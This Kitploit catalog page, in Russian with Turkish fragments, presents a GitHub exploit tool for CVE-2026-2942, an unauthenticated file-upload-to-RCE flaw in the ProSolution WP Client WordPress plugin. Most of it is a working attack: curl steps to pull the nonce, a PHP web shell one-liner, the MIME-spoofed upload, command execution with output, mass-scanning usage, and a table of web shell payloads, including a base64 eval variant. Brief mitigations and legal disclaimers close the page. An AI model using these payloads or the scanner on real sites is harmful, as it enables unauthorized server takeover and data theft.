Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-2942 — Автоматический сканер для неаутентифицированной произвольной загрузки файлов и удалённого выполнения кода в ProSolution WP Client (CVE-2026-2942). Поддерживает многопоточное сканирование, подмену MIME-типов, проверку шелл-кода и поддержку прокси для тестирования на проникновение. | Kitploit
Инструменты/GitHubGitHub/xxconi/cve-2026-2942
Сканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubxxconi/cve-2026-2942

CVE-2026-2942

Автоматический сканер для неаутентифицированной произвольной загрузки файлов и удалённого выполнения кода в ProSolution WP Client (CVE-2026-2942). Поддерживает многопоточное сканирование, подмену MIME-типов, проверку шелл-кода и поддержку прокси для тестирования на проникновение.

Репозиторий
13 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ProSolution WP Client — Сканер неавторизованной загрузки файлов и RCE

Плагин: prosolution-wp-client
Затронутая версия: <= 1.9.9
Тип уязвимости: Неавторизованная произвольная загрузка файлов → удалённое выполнение кода
Уровень риска: 🔴 Критический (CVSS 9.8)
Требование: публичная страница, содержащая шорткод [prosolfrontend]


📌 Об уязвимости

AJAX-действие proSol_fileUploadProcess плагина ProSolution WP Client проверяет MIME-тип загружаемых файлов, но не проверяет расширение. Отправляя файл с расширением .php и MIME-типом image/jpeg, атакующий может загрузить на сервер веб-шелл без аутентификации.

Цепочка атаки

root@kitploit:~
[prosolfrontend] shortcode sayfası
        │
        ▼
1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez)
        │
        ▼
2. POST /wp-admin/admin-ajax.php
   action=proSol_fileUploadProcess
   security=<nonce>
   files[]=shell.php  (Content-Type: image/jpeg)  ← MIME Spoofing
        │
        ▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
        │
        ▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
        │
        ▼
5. uid=33(www-data) → Unauthenticated RCE ✓

🧪 Proof of Concept (вручную)

⚠️ Отказ от ответственности: Этот PoC предоставлен исключительно в образовательных целях и для исследований в области защиты. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.

Предварительные условия

  • WordPress установлен и активен плагин prosolution-wp-client (версия <= 1.9.9)
  • Опубликованная страница WordPress, содержащая шорткод [prosolfrontend]

Шаг 1 — Получение nonce

Посетите любую публичную страницу, содержащую шорткод [prosolfrontend], и извлеките значение prosolObj.nonce из исходного кода:

root@kitploit:~
TARGET="https://target.example.com"

NONCE=$(curl -s "$TARGET/jobs" \
  | grep -oP '"nonce"\s*:\s*"\K[^"]+')

echo "Extracted nonce: $NONCE"

Структура, которую нужно найти в исходном коде:

root@kitploit:~
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
    "ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
    "nonce": "a1b2c3d4e5",
    ...
};
</script>

Шаг 2 — Создание PHP-веб-шелла

root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

Шаг 3 — Загрузка с подменой MIME

Отправьте файл .php с Content-Type image/jpeg:

root@kitploit:~
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -F "action=proSol_fileUploadProcess" \
  -F "security=$NONCE" \
  -F "files[]=@/tmp/shell.php;type=image/jpeg" \
  | python3 -m json.tool

Ожидаемый ответ:

root@kitploit:~
{
  "files": [
    {
      "name": "shell.php",
      "size": 31,
      "url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
      "newfilename": "a3f8b2c1d9e4f7g2.php",
      "rename_status": true,
      "extension": "php"
    }
  ]
}

"extension": "php" и "rename_status": true → файл .php успешно сохранён.


Шаг 4 — Запуск RCE

root@kitploit:~
SHELL_FILE="a3f8b2c1d9e4f7g2.php"   # Adım 3'teki newfilename

curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"

Ожидаемый вывод:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

✅ Достигнуто неавторизованное RCE.


🛠️ Установка автоматического сканера

root@kitploit:~
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Использование

Одиночная цель

root@kitploit:~
python prosol_upload.py -u http://hedef.com

С проверкой шелла

root@kitploit:~
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"

Массовое сканирование

root@kitploit:~
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt

С прокси (Burp Suite)

root@kitploit:~
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080

Нестандартный тип шелла

root@kitploit:~
python prosol_upload.py -u http://hedef.com --shell-type full

⚙️ Параметры

ПараметрСокращениеОписаниеПо умолчанию
--url-uОдиночная целевая URL—
--list-lФайл со списком целей—
--threads-tКоличество потоков10
--output-oФайл выводаuploaded.txt
--shell-name—Имя загружаемого файлаshell.php
--shell-type—Тип шеллаsystem
--verify—Тест RCE после загрузкиFalse
--verify-cmd—Команда проверкиid
--proxy—Proxy URL—
--timeout—Таймаут запроса (сек)10

💀 Типы шеллов

ТипPayloadОписание
system<?php system($_GET["cmd"]); ?>Базовая системная команда
passthru<?php passthru($_GET["cmd"]); ?>Сырой вывод
exec<?php echo exec($_GET["cmd"]); ?>Тихое выполнение
assert<?php assert($_POST["cmd"]); ?>Eval через POST
b64<?php eval(base64_decode($_POST["cmd"])); ?>Base64-обфускация
fullshell_exec + system + exec fallbackПолнофункциональная оболочка

📂 Расположение загружаемого шелла

root@kitploit:~
WordPress Kök/
└── wp-content/
    └── uploads/
        └── prosolwpclient/
            └── [random_hex].php   ← Shell burada

📊 Статусы вывода сканера

СтатусОписание
★ UPLOADEDШелл успешно загружен
✓ RCE OKШелл проверен, команда выполнена
- BLOCKEDСервер заблокировал PHP-расширение
~ TIMEOUTТаймаут соединения
~ CONN_ERRОшибка соединения
! HTTP_ERRКод ошибки HTTP

🖥️ Пример вывода сканера

root@kitploit:~
[*] 3 hedef | ProSolution File Upload | threads=10

[★ UPLOADED ] http://hedef1.com
  Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
  Yeni Ad   : a3f8b2c1d9.php  (renamed=True)
  [✓ RCE OK ] cmd çıktısı: uid=33(www-data) gid=33(www-data)

[- BLOCKED  ] http://hedef2.com  ext=jpeg
[~ TIMEOUT  ] http://hedef3.com

───────────────────────────────────────────────
  UPLOADED            :    1  █
  BLOCKED             :    1  █
  TIMEOUT             :    1  █
───────────────────────────────────────────────
  Yüklenen shell'ler → uploaded.txt
───────────────────────────────────────────────

🛡️ Защита / Исправление

МераПрименение
Блокировка выполнения PHPДобавить .htaccess в каталог uploads/
Обновление плагинаОбновить до версии > 1.9.9 или удалить
Белый список расширенийНа стороне сервера — только разрешённые расширения
Проверка MIMEКонтроль реального содержимого с помощью finfo_file()
Правило WAFБлокировать запросы на загрузку .php

.htaccess для каталога uploads/:

root@kitploit:~
<FilesMatch "\.php$">
    Deny from all
</FilesMatch>

⚠️ Юридическое предупреждение

Этот инструмент и PoC предназначены для использования только на авторизованных системах, в образовательных целях и в рамках тестирования на проникновение.
Использование на системах без разрешения является преступлением согласно статьям 243–245 Уголовного кодекса Турции и международным законам о киберпреступности.
Разработчик не несёт никакой юридической ответственности за последствия злоупотребления инструментом.


📄 Лицензия

Лицензия MIT — только для образовательных и исследовательских целей.

Скачать инструмент